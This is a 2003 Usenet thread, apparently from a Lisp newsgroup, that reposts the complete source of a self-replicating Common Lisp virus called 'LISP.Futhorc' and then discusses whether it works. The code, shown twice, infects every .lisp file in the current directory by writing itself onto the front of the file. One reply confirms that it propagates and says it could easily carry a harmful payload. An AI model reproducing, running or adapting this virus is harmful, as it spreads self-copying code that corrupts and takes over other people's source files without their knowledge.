-------------------- Start of forwarded message -------------------- Newsgroups: fido7.xsu.hacker Distribution: fido7 X-Comment-To: All From: "Ilya V. Vasilyev" (2:5020/287) Date: Thu, 26 Jun 2003 10:27:28 +0600 Subject: Just for fun Message-ID: <1056626881@f287.n5020.z2.ftn> Organization: Hackers' POWER BBS
=========================================================================== == * Forwarded by Ilya V. Vasilyev (2:5020/287) * Area : su.cm (su.cm) * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21) * To : All * Subj : Just for fun =========================================================================== == * Originally in su.cm Crossposted to pvt.virii Crossposted to ru.virus
;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03 (setq virus '(defun infect (&optional (ls (directory "*.lisp"))) (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s))) (when (setq vic (car ls)) (let ((p nil)) (with-open-file (i vic :direction :input) (unless (equal (second (read i)) 'VIRUS) (file-position i 0) (loop (unless (setq line (read-line i nil nil)) (return)) (setq p (append p (list line)))))) (when p (with-open-file (o vic :direction :output) (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus) (writel p o)))) (infect (cdr ls)))) )(eval virus)(infect)
>>>>> On Fri, 27 Jun 2003 13:32:13 +0700, Ivan Boldyrev ("Ivan") writes:
Ivan> From: "Ilya V. Vasilyev" (2:5020/287) Ivan> Subject: Just for fun Ivan> Newsgroups: fido7.xsu.hacker Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600 Ivan> Organization: Hackers' POWER BBS
Ivan> =========================================================================== == Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287) Ivan> * Area : su.cm (su.cm) Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21) Ivan> * To : All Ivan> * Subj : Just for fun Ivan> =========================================================================== == Ivan> * Originally in su.cm Ivan> Crossposted to pvt.virii Ivan> Crossposted to ru.virus
Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03 Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp"))) Ivan> (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s))) Ivan> (when (setq vic (car ls)) Ivan> (let ((p nil)) (with-open-file (i vic :direction :input) Ivan> (unless (equal (second (read i)) 'VIRUS) (file-position i 0) Ivan> (loop (unless (setq line (read-line i nil nil)) (return)) Ivan> (setq p (append p (list line)))))) Ivan> (when p (with-open-file (o vic :direction :output) Ivan> (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus) Ivan> (writel p o)))) Ivan> (infect (cdr ls)))) Ivan> )(eval virus)(infect)
I would be circumspect in writing programs called "Virus" and posting them on the net in so-called "hacker" newsgroups, even if it is supposed to be (I assume) some kind of joke. It looks like you are not the original author of the "virus" program, but can you understand what you have posted? It's as if someone has cut-and-pasted fragments of Lisp code from other programs, without understanding what they were copying. This program is a lot of gibberish and does not do anything at all: most of it is never even executed.
In article <u65mrus6p....@dtpq.com>, Christopher C. Stacy <cst...@dtpq.com> wrote:
>This program is a lot of gibberish and does not do anything at all: >most of it is never even executed.
Sure it is.
As written, it doesn't do anything other than append itself to all the *.lisp files in the current directory; if any of them are later loaded (or compiled and the resulting binary loaded) they'll do the same. It's a simple virus propagation wrapper; it's a simple matter to modify it to do something (harmful or not) in addition to propagating itself.
-- Barry Margolin, barry.margo...@level3.com Level(3), Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.
>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:
Barry> In article <u65mrus6p....@dtpq.com>, Barry> Christopher C. Stacy <cst...@dtpq.com> wrote: >> This program is a lot of gibberish and does not do anything at all: >> most of it is never even executed.
Barry> Sure it is.
I think I made a typographical error when pasting it into an editor buffer and reformatting it so that I could actually read it. My version of it had it setting the variable VIRUS to the source code of a function called INFECT that took one optional arg but had no body.
On 8423 day of my life Christopher C. Stacy wrote:
> I would be circumspect in writing programs called "Virus" and posting > them on the net in so-called "hacker" newsgroups,
This is NG of "hackers" in sense of Eric Raymond.
> even if it is supposed to be (I assume) some kind of joke. It looks > like you are not the original author of the "virus" program, but can > you understand what you have posted?
I am smart enough. May be, I am even Turing-complete :)))
> It's as if someone has cut-and-pasted fragments of Lisp code from > other programs, without understanding what they were copying.
I do understand code before copying.
> This program is a lot of gibberish and does not do anything at all: > most of it is never even executed.
Be more attentive: the virus is in your brain now :)
On Sun, Jun 29, 2003 at 03:06:53AM +0700, Ivan Boldyrev wrote: > Be more attentive: the virus is in your brain now :)
Actually, he's right even though he didn't mean it. I'll give you a hint: the program invokes undefined behavior.
-- ; Matthew Danish <mdan...@andrew.cmu.edu> ; OpenPGP public key: C24B6010 on keyring.debian.org ; Signed or encrypted mail welcome. ; "There is no dark side of the moon really; matter of fact, it's all dark."
In article <usmpulwol....@dtpq.com>, Christopher C. Stacy <cst...@dtpq.com> wrote:
>>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:
> Barry> In article <u65mrus6p....@dtpq.com>, > Barry> Christopher C. Stacy <cst...@dtpq.com> wrote: > >> This program is a lot of gibberish and does not do anything at all: > >> most of it is never even executed.
> Barry> Sure it is.
>I think I made a typographical error when pasting it into an >editor buffer and reformatting it so that I could actually read it. >My version of it had it setting the variable VIRUS to the source code >of a function called INFECT that took one optional arg but had no body.
I think you may have trusted the indenting too much. If I read it correctly, the body of that function begins with a nested defun.
-- Barry Margolin, barry.margo...@level3.com Level(3), Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.